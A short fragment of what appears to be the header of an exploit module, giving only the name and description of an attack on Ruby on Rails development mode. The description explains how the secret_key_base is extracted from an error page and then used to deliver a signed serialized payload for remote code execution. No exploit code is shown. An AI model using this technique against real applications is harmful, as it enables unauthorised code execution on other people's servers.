'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
application would use its name as the secret_key_base, and can be easily extracted by
visiting an invalid resource for a path. As a result, this allows a remote user to
create and deliver a signed serialized payload, load it by the application, and gain
remote code execution.
